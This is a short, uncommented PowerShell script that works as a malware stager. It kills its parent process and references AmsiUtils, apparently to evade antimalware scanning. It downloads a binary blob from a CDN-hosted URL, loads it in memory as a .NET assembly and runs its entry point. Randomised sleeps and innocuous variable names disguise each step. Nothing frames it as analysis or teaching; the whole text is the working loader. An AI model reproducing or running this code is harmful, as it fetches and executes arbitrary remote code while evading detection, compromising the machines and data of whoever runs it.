$olive = (Get-CimInstance Win32_Process -Filter "ProcessId=$PID").ParentProcessId if ($olive) { Stop-Process -Id $olive -Force } [Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography') $valley = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 501) $reef = (New-Object System.Net.WebClient).DownloadData("https://987416pkb680.b-cdn.net/8cdb8c45-79cf-4000-bb2a-1782e03cce18.data") $tropic = [System.Reflection.Assembly]::Load($reef) Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 501) $bay = $tropic.EntryPoint Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 501) if ($bay) { $dream = @() Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 501) $bay.Invoke($null, $dream) }